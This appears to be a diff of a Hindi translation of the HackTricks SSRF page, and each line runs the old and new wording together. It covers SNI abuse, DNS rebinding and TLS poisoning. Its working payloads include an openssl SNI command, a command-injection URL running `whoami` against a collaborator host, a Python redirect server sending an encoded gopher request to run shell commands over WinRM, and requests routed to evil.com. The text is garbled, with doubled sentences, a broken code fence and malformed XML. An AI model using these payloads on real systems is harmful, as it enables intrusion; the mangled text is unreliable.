खोजने के लिए, बर्प स्वीट प्लगइन "**कॉलेबोरेटर एव्रीव्हेयर**" का सुझाव दिया गया है, जो एनालिटिक्स टूल्स द्वारा रेफरर हेडर को प्रोसेस करने के तरीके का उपयोग करके संभावित SSRF हमले के सतह की पहचान करने में मदद करता है।
## सर्टिफिकेट से SNI डेटा के माध्यम से SSRF ## सर्टिफिकेट से SNI डेटा के माध्यम से SSRF
किसी सरल सेटअप के माध्यम से किसी भी बैकएंड से कनेक्शन सक्षम करने की एक गलत कॉन्फ़िगरेशन को एक उदाहरण एनजिन्क्स कॉन्फ़िगरेशन के साथ दिखाया गया है: किसी भी बैकएंड से कनेक्शन स्थापित करने की सुविधा प्रदान कर सकने वाली एक गलत कॉन्फ़िगरेशन को एक उदाहरण एनजिन्क्स कॉन्फ़िगरेशन के साथ दिखाया गया है:
``` ```
stream { stream {
server { server {
@ -145,7 +145,7 @@ ssl_preread on;
} }
} }
``` ```
इस कॉन्फ़िगरेशन में, सर्वर नेम इंडिकेशन (SNI) फ़ील्ड से आने वाले मान को सीधे बैकएंड का पता के रूप में उपयोग किया जाता है। यह सेटअप सर्वर-साइड रिक्वेस्ट फ़र्ज़री (SSRF) के लिए एक वंशवा को उजागर करता है, जिसे सीधे SNI फ़ील्ड में वांछित आईपी पता या डोमेन नाम को निर्दिष्ट करके उत्पादित किया जा सकता है। `openssl` कमांड का उपयोग करके `internal.host.com` जैसे एक अनिवार्य बैकएंड से कनेक्शन करने के लिए एक उत्पादन उदाहरण नीचे दिया गया है: इस कॉन्फ़िगरेशन में, सर्वर नाम सूचना (SNI) फ़ील्ड से मान सीधे बैकएंड का पता उपयोग किया जाता है। यह सेटअप सर्वर-साइड रिक्वेस्ट फ़र्ज़री (SSRF) के लिए एक वंशिकता को उजागर करता है, जिसे सीएनआई फ़ील्ड में वांछित आईपी पता या डोमेन नाम निर्दिष्ट करके उत्पादित किया जा सकता है। `openssl` कमांड का उपयोग करके `internal.host.com` जैसे एक अर्बिट्रे बैकएंड से कनेक्शन बनाने के लिए एक उत्पादन उदाहरण नीचे दिया गया है:
```bash ```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
``` ```
@ -153,25 +153,27 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## कमांड इंजेक्शन के साथ SSRF ## कमांड इंजेक्शन के साथ SSRF
यह एक पेडलो की तरह हो सकता है: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` यह एक पेडलो की कोशिश करने लायक हो सकता है: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
## PDFs रेंडरिंग ## PDFs रेंडरिंग
यदि वेब पृष्ठ स्वचालित रूप से एक पीडीएफ बना रहा है जिसमें कुछ जानकारी आपने प्रदान की है, तो आप **कुछ जेएस डाल सकते हैं जो पीडीएफ निर्माता** खुद (सर्वर) द्वारा क्रिएट करते समय निष्पादित किया जाएगा और आप SSRF का दुरुपयोग कर सकेंगे। [**अधिक जानकारी यहाँ मिलेगी**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** यदि वेब पृष्ठ स्वचालित रूप से एक पीडीएफ बना रहा है जिसमें कुछ जानकारी आपने प्रदान की है, तो आप **कुछ जेएस डाल सकते हैं जो पीडीएफ निर्माता** खुद (सर्वर) द्वारा क्रिएट करते समय निष्पादित किया जाएगा और आप SSRF का दुरुपयोग कर सकेंगे। [**अधिक जानकारी यहाँ देखें**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
## SSRF से डोएस तक ## SSRF से डोएस तक
एक से अधिक सेशन बनाएं और सेशन से SSRF का दुरुपयोग करके भारी फ़ाइलें डाउनलोड करने का प्रयास करें। एक से अधिक सेशन बनाएं और सेशन से SSRF का दुरुपयोग करके भारी फ़ाइलें डाउनलोड करने की कोशिश करें।
## SSRF PHP फ़ंक्शन ## SSRF PHP फ़ंक्शन
विकल्पी PHP और Wordpress फ़ंक्शनों के लिए विकल्पी पृष्ठ की जाँच करें:
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} {% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %}
[php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md) [php-ssrf.md](../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
{% endcontent-ref %} {% endcontent-ref %}
## SSRF गोफर को रीडायरेक्ट करें ## SSRF गोफर को रीडायरेक्ट करें
कुछ शोषणों के लिए आपको **रीडायरेक्ट प्रतिक्रिया भेजनी** पड़ सकती है (संभावित रूप से एक विभिन्न प्रोटोकॉल का उपयोग करने के लिए जैसे gopher)। यहाँ आपके पास रीडायरेक्ट के साथ प्रतिक्रिया देने के लिए विभिन्न पायथन कोड हैं: कुछ उत्पीडनों के लिए आपको **रीडायरेक्ट प्रतिक्रिया भेजनी** पड़ सकती है (संभावित रूप से एक विभिन्न प्रोटोकॉल का उपयोग करने के लिए जैसे gopher)। यहाँ आपके पास रीडायरेक्ट के साथ प्रतिक्रिया देने के लिए विभिन्न पायथन कोड हैं:
```python ```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes # First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler from http.server import HTTPServer, BaseHTTPRequestHandler
@ -182,7 +184,33 @@ def do_GET(self):
print("GET") print("GET")
self.send_response(301) self.send_response(301)
```html ```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20 <details>
<summary>शीर्षक</summary>
<details>
<summary>टू</summary>
<web:Resource s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://www.w3.org/201/HTTP/1.1" xmlns:u="http://schemas.xmlsoap.org/ws/2001/XMLschme">
<s:Header>
<a:To>HTTP://192.168.1.1:5986/wsmain/</a:To>
<w:ResourceURI s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing</w:ResourceURI>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymos</a:Address>
</a:ReplyTo>
<a:Action>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymos/ExecuteShellCommand</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">10240</w:MaxEnvelopeSize>
<w:MessageID>uuid:0AB58087-C2C3-0005-0000-00000010000</w:MessageID>
<w:OperationTimeout>PT1M30S</w:OperationTimeout>
<w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
<p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>
<w:OptionSet s:mustUnderstand="true"/>
<w:SelectorSet>
<w:Selector Name="__cimnamespace">root/scx</w:Selector>
<w:OperationTimeout>0</w:OperationTimeout>
</w:SelectorSet>
</s:Header>
</web:Resource>
</details>
</details>
```
```python ```python
self.end_headers() self.end_headers()
@ -206,7 +234,7 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) का उपयोग करें और आसानी से **ऑटोमेट वर्कफ़्लो** बनाएं जो दुनिया के **सबसे उन्नत** समुदाय उपकरणों द्वारा संचालित ह।\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) का उपयोग करें और आसानी से **ऑटोमेट वर्कफ़्लो** बनाएं जो दुनिया के **सबसे उन्नत** समुदाय उपकरणों द्वारा संचालित हैं।\
आज ही पहुंच प्राप्त करें: आज ही पहुंच प्राप्त करें:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
@ -238,7 +266,7 @@ app.run(threaded=False)
``` ```
</details> </details>
Flask की अनुमति है कि **`@`** को प्रारंभिक वर्ण के रूप में उपयोग किया जा सके, जिससे **प्रारंभिक होस्ट नाम को उपयोगकर्ता नाम बनाया जा सके** और एक नया नाम संज्ञापित किया जा सके। हमला अनुरोध: Flask क**`@`** का उपयोग करने देता है, जिससे **प्रारंभिक होस्ट नाम को उपयोगकर्ता नाम बनाने** और एक नया नाम संजोड़न करने की अनुमति होती है। हमला अनुरोध:
```http ```http
GET @evildomain.com/ HTTP/1.1 GET @evildomain.com/ HTTP/1.1
Host: target.com Host: target.com
@ -250,7 +278,7 @@ Connection: close
<figure><img src="../../.gitbook/assets/image (1201).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1201).png" alt=""><figcaption></figcaption></figure>
यह पाया गया कि एक अनुरोध का **पथ शुरू** करना संभव है जिसमें वर्ण **`;`** का उपयोग करने देता है जिससे फिर **`@`** का उपयोग करके एक नया होस्ट एक्सेस करने की अनुमति होती है। हमला अनुरोध: यह पाया गया कि एक अनुरोध का **पथ शुरू** करना संभव है एक वर्ण **`;`** के साथ जिससे फिर **`@`** का उपयोग करके एक नया होस्ट पहुंचने के लिए उत्पन्न किया जा सकता है। हमला अनुरोध:
```http ```http
GET ;@evil.com/url HTTP/1.1 GET ;@evil.com/url HTTP/1.1
Host: target.com Host: target.com
@ -277,7 +305,7 @@ var_dump($response);
``` ```
</details> </details>
PHP को URL के पथ में स्लैश के बाद **char `*`** का उपयोग करने की अनुमति है, हालांकि, इसकी अन्य सीमाएँ हैं जैसे कि यह केवल मूल पथनाम `/` के लिए ही उपयोग किया जा सकता है और डॉट `.` को पहले स्लैश से पहले अनुमति नहीं है, इसलिए उदाहरण के लिए डॉटलेस-हेक्स इनकोडेड आईपी पता का उपयोग करना आवश्यक है: PHP को URL के पथ में स्लैश के बाद **char `*` का उपयोग करने की अनुमति है**, हालांकि, इसकी अन्य सीमाएँ हैं जैसे कि यह केवल मूल पथनाम `/` के लिए ही उपयोग किया जा सकता है और डॉट `.` को पहले स्लैश से पहले अनुमति नहीं है, इसलिए उदाहरण के लिए डॉटलेस-हेक्स इनकोडेड आईपी पता का उपयोग करना आवश्यक है:
```http ```http
GET *@0xa9fea9fe/ HTTP/1.1 GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com Host: target.com
@ -285,7 +313,7 @@ Connection: close
``` ```
## DNS Rebidding CORS/SOP bypass ## DNS Rebidding CORS/SOP bypass
यदि आपको **CORS/SOP** के कारण **स्थानीय IP से सामग्री निकालने में समस्याएं** है, तो **DNS Rebidding** का उपयोग उस प्रतिबंध को दौर करने के लिए किया जा सकता है: यदि **CORS/SOP** के कारण **स्थानीय IP से सामग्री निकालने में समस्या** हो रही है, तो **DNS Rebidding** का उपयोग उस सीमा को दौर करने के लिए किया जा सकता है:
{% content-ref url="../cors-bypass.md" %} {% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md) [cors-bypass.md](../cors-bypass.md)
@ -293,9 +321,9 @@ Connection: close
### स्वचालित DNS Rebidding ### स्वचालित DNS Rebidding
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) एक टूल है जो [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) हमले को करने के लिए है। इसमें आवश्यक घटक शामिल हैं जो हमले सर्वर DNS नाम के IP पते को लक्ष्य मशीन के IP पते से पुनर्निर्धारित करने और लक्ष्य मशीन पर कमजोर सॉफ्टवेयर का शोषण करने के लिए हमले पेश करने के लिए आवश्यक हैं। [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) एक टूल है जो [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) हमले को करने के लिए है। इसमें आवश्यक घटक शामिल हैं जो हमले सर्वर DNS नाम के IP पते को लक्षित मशीन के IP पते में पुनर्निर्धारित करने और लक्षित मशीन पर कमजोर सॉफ्टवेयर का शोषण करने के लिए हमले पेश करने के लिए आवश्यक हैं।
देखें भी **सार्वजनिक रूप से चल रहा सर्वर** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) **http://rebind.it/singularity.html** में **सार्वजनिक रूप से चल रहा सर्वर** की भी जाँच करें
## DNS Rebidding + TLS Session ID/Session ticket ## DNS Rebidding + TLS Session ID/Session ticket
@ -307,52 +335,52 @@ Connection: close
हमला: हमला:
1. उपयोगकर्ता/बॉट से कहें कि वह **हमले करने वाले**ंट्रोल किए गए **डोमेन** तक **पहुंचें** 1. उपयोगकर्ता/बॉट से कहें कि वह **हमले करने वाले**िसी **डोमेन** का **पहुंच** हासिल करें
2. **DNS** का **TTL** **0** सेकंड है (इसलिए पीड़ित जल्द ही डोमेन का IP जांचेगा) 2. **DNS** का **TTL** **0** सेकंड है (इसलिए पीड़ित जल्द ही डोमेन का IP जांचेगा)
3. पीड़ित और हमले करने वाले डोमेन के बीच एक **TLS कनेक्शन** बनाया जाता है। हमले करने वाले ने **सत्र ID या सत्र टिकट** में **पेडलोड डाला** 3. पीड़ित और हमले करने वाले डोमेन के बीच एक **TLS कनेक्शन** बनाया जाता है। हमले करने वाले ने **सत्र ID या सत्र टिकट** में **पेलोड शामिल** किया है
4. **डोमेन** खुद के खिलाफ **अनंत पुनर्निर्देशन लूप** शुरू करेगा। इसका उद्देश्य यह है कि उपयोगकर्ता/बॉट डोमेन का एक बार फिर से **DNS अनुरोध** करें 4. **डोमेन** अपने आपको **अनंत पुनर्निर्देशित लूप** शुरू करेगा। इसका उद्देश्य यह है कि उपयोगकर्ता/बॉट डोमेन का उपयोग करें जब तक वह फिर से **डोमेन का DNS अनुरोध** करता है
5. DNS अनुरोध में **एक निजी IP** पता **अब** दिया जाता है (उदाहरण के लिए 127.0.0.1) 5. DNS अनुरोध में **एक निजी IP** पता दिया जाता है **अब** (उदाहरण के लिए 127.0.0.1)
6. उपयोगकर्ता/बॉट टीएलएस कनेक्शन **पुनर्स्थापित करने की कोशिश करेगा** और इसे करने के लिए वह **सत्र** आईडी/टिकट आईडी भेजेगा (जिसमें हमले करने वाले का पेलोड शामिल था)। तो बधाई हो आपने पूछने में सफलता प्राप्त की है कि **उपयोगकर्ता/बॉट खुद पर हमला करें** 6. उपयोगकर्ता/बॉट **TLS कनेक्शन को पुनः स्थापित करने** की कोशिश करेगा और इसे करने के लिए वह **सत्र** ID/टिकट ID भेजेगा (जिसमें हमले का पेलोड शामिल था)। तो बधाई हो, आपने सफलतापूर्वक किया है कि उपयोगकर्ता/बॉट खुद पर हमला करें।
इस हमले के दौरान, यदि आप localhost:11211 (_memcache_) पर हमला करना चाहते हैं तो आपको पीड़ित को www.attacker.com:11211 के साथ प्रारंभिक कनेक्शन स्थापित करने की आवश्यकता है (पोर्ट हमेशा समान होना चाहिए)।\ ध्यान दें कि इस हमले के दौरान, यदि आप localhost:11211 (_memcache_) पर हमला करना चाहते हैं तो आपको पीड़ित को www.attacker.com:11211 के साथ प्रारंभिक कनेक्शन स्थापित करने की आवश्यकता है (पोर्ट हमेशा समान होना चाहिए)।\
इस हमले को **करने के लिए आप इस उपकरण का उपयोग कर सकते हैं**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ **इस हमले को करने के लिए आप इस उपकरण का उपयोग कर सकते हैं**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
**अधिक जानकारी** के लिए देखें जहां इस हमले की व्याख्या की गई है: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference) **अधिक जानकारी** के लिए उस वार्ता को देखें जहाँ इस हमले की व्याख्या की गई है: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
## ब्लाइंड SSRF ## ब्लाइंड SSRF
ब्लाइंड SSRF और एक गैर ब्लाइंड SSRF के बीच अंतर यह है कि ब्लाइंड में आप SSRF अनुरोध का प्रतिसाद नहीं देख सकते। फिर, इसे शोषण करना कठिन हो जाता है क्योंकि आप केवल प्रसिद्ध जोखिमों का शोषण कर सकेंगे। ब्लाइंड SSRF और एक गैर ब्लाइंड SSRF के बीच अंतर यह है कि ब्लाइंड में आप SSRF अनुरोध का प्रतिसाद नहीं देख सकते। फिर, इसे शोषण करना अधिक कठिन हो जाता है क्योंकि आप केवल प्रसिद्ध दुरुपयोग कर सकेंगे।
### समय आधारित SSRF ### समय आधारित SSRF
सर्वर से प्रतिक्रियाओं का समय जांचकर यह संभव हो सकता है कि क्या कोई संसाधन मौजूद है या नहीं (शायद किसी मौजूदा संसाधन तक पहुंचने में ज्यादा समय लगता है जो किसी ऐसे संसाधन तक पहुंचने में नहीं है) सर्वर से प्रतिक्रियाओं का समय जांचकर **संभावित है कि कोई संसाधन है या नहीं** (शायद किसी मौजूदा संसाधन तक पहुंचने में एक संसाधन से ज्यादा समय लगता है जो मौजूद नहीं है)
## क्लाउड SSRF शोषण ## Cloud SSRF Exploitation
यदि आप किसी क्लाउड वातावरण में चल रही मशीन में एक SSRF दोष पाते हैं तो आप क्लाउड वातावरण के बारे में दिलचस्प जानकारी और क्रेडेंशियल तक पहुंच सकते हैं: यदि आप किसी बादल परिवेश में चल रही मशीन में एक SSRF दुरुपयोगिता पाते हैं तो आपको बादल परिवेश के बारे में दिलचस्प जानकारी और यहाँ तक कि प्रमाण प्राप्त करने की संभावना हो सकती है:
{% content-ref url="cloud-ssrf.md" %} {% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md) [cloud-ssrf.md](cloud-ssrf.md)
{% endcontent-ref %} {% endcontent-ref %}
## SSRF विकल्पशील प्लेटफॉर्म ## SSRF Vulnerable Platforms
कई जानी जानी प्लेटफॉर्म में SSRF दोष शामिल हैं या शामिल थे, उन्हें चेक करें: कई जाने माने प्लेटफॉर्म में SSRF दुरुपयोगिता होती है, उन्हें यहाँ जांचें:
{% content-ref url="ssrf-vulnerable-platforms.md" %} {% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md) [ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
{% endcontent-ref %} {% endcontent-ref %}
## उपकरण ## Tools
### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap) ### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)
SSRF दोषों का पता लगाने और उन्हें शोषण करने के लिए उपकरण SSRF दुरुपयोगिताओं का पता लगाने और उन्हें शोषण करने के लिए उपकरण
### [Gopherus](https://github.com/tarunkant/Gopherus) ### [Gopherus](https://github.com/tarunkant/Gopherus)
* [Gopherus पर ब्लॉग पोस्ट](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) * [Gopherus पर ब्लॉग पोस्ट](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
यह उपकरण निम्नलिखित के लिए गोफर पेलोड उत्पन्न करता है: यह उपकरण निम्नलिखित के लिए गोफर पेलोड उत्पन्न करता है:
* MySQL * MySQL
* PostgreSQL * PostgreSQL
@ -365,11 +393,11 @@ SSRF दोषों का पता लगाने और उन्हें
* [SSRF उपयोग पर ब्लॉग पोस्ट](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) * [SSRF उपयोग पर ब्लॉग पोस्ट](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ एक _Java RMI_ जोखिम स्कैनर है जो सबसे सामान्य _Java RMI_ जोखिमों के लिए हमले के संचालन का समर्थन करता है। उपलब्ध अधिकांश ऑपरेशन _SSRF_ विकल्प का समर्थन करते हैं, अनुरोधित ऑपरेशन के लिए _SSRF_ पेलोड उत्पन्न करने के लिए `--ssrf` विकल्प का समर्थन करते हैं। `--gopher` विकल्प के साथ, सीधे तैयार _gopher_ पेडलोड उत्पन्न किए जा सकते हैं। _remote-method-guesser_ एक _Java RMI_ वंलनरबिलिटी स्कैनर है जो सबसे सामान्य _Java RMI_ वंलनरबिलिटी के लिए हमले के लिए समर्थन प्रदान करता है। उपलब्ध अधिकांश ऑपरेशन _SSRF_ विकल्प का समर्थन करते हैं, अनुरोधित ऑपरेशन के लिए _SSRF_ पेलोड उत्पन्न करने के लिए `--ssrf` विकल्प का समर्थन करते हैं। `--gopher` विकल्प के साथ, सीधे उपयोग के लिए _gopher_ पेलोड उत्पन्न किए जा सकते हैं।
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy) ### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
SSRF Proxy एक मल्टी-थ्रेडेड HTTP प्रॉक्सी सर्वर है जो सर्वर-पक्ष अनुरोध भूलने वाले HTTP सर्वर के माध्यम से ग्राहक HTTP ट्रैफिक को टनल करने के लिए डिज़ाइन किया गया है। SSRF Proxy एक मल्टी-थ्रेडेड HTTP प्रॉक्सी सर्वर है जो सर्वर-पक्ष अनुरोध भूलने वाले HTTP सर्वरों के माध्यम से ग्राहक HTTP ट्रैफिक को टनल करने के लिए डिज़ाइन किया गया है।
### अभ्यास करने के लिए ### अभ्यास करने के लिए
@ -384,19 +412,12 @@ SSRF Proxy एक मल्टी-थ्रेडेड HTTP प्रॉक्
<details> <details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary> <summary><strong>हैकट्रिक्स AWS रेड टीम एक्सपर्ट के साथ जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके: हैकट्रिक्स का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें! * यदि आप अपनी कंपनी का विज्ञापन हैकट्रिक्स में देखना चाहते हैं या **हैकट्रिक्स को पीडीएफ में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें * [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें * [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटी**](https://opensea.io/collection/the-peass-family) संग्रह देखें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें। * **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
